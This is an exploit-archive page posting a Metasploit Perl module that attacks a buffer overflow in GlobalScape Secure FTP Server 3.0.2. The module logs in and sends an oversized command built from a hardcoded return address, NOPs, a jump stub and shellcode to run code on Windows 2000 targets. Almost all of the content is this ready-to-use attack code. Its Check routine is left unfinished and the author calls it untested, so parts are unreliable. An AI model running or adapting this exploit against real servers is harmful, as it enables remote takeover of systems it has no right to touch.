exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

globalscape_ftp_30.pm

globalscape_ftp_30.pm
Posted May 27, 2005
Authored by muts

GlobalScape Secure FTP server 3.0.2 Build 04.12.2005.1 buffer overflow exploit.

tags | exploit, overflow
SHA-256 | a12099d3b3073ebd5af605fee5579ffa44515664ccde164fdf6c87b1d8cf8a25

globalscape_ftp_30.pm

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::globalscape_ftp_30;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
{
'Name' => 'GlobalScape Secure FTP server 3.0.2 Build 04.12.2005.1',
'Version' => '$Revision: 1.0 $',

'Authors' =>
[ 'mati [at] see-security [dot] com aka muts',
'Iris, my wonderful wife...thanks for not throwing me out of the house',
'www.see-security.com',

],

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000'],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'thread' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'SSL' => [0, 'BOOL', 'Use SSL'],
'USER' => [1, 'DATA', 'Username', 'mutss'],
'PASS' => [1, 'DATA', 'Password', 'mutss'],
},

'Payload' =>
{
'Space' => 1108,
# The PexAlphaNum Encoder was playing wierd with me...
'BadChars' => "\x00\x20\x61\x62\x63\x64\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a",
'MinNops' => 0,
'MaxNops' => 0,
},

#
# 'Encoder' =>
# {
# 'Keys' => ['+alphanum'],
# },
'Description' => Pex::Text::Freeform(qq{

This module exploits a buffer overflow found in GlobalScape Secure FTP Server v.3.0, by Mati Aharoni.
This code has *not* been thoroughly tested! I will be updating it soon...
}),

'Refs' =>
[
['BID', '0000'],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Win2k Server SP4', 0x7C4FEDBB ],

],

'Keys' => ['gsftp'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}



sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$target_idx];

my $request = ("A" x 3000);

substr($request, 2043, 4, pack('V', $target->[1]));
substr($request, 2047, 12, $self->MakeNops(12));
substr($request, 2059, 10, "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff");
substr($request, 2069, length($shellcode), $shellcode);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

my $r = $s->RecvLineMulti(20);
if (! $r) { $self->PrintLine("[*] No response from FTP server1"); return; }
$self->Print($r);

$s->Send("USER ".$self->GetVar('USER')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);

$s->Send("PASS ".$self->GetVar('PASS')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); }
$self->Print($r);
#print $request;

$s->Send("$request\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); }
$self->Print($r);

sleep(2);
return;
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close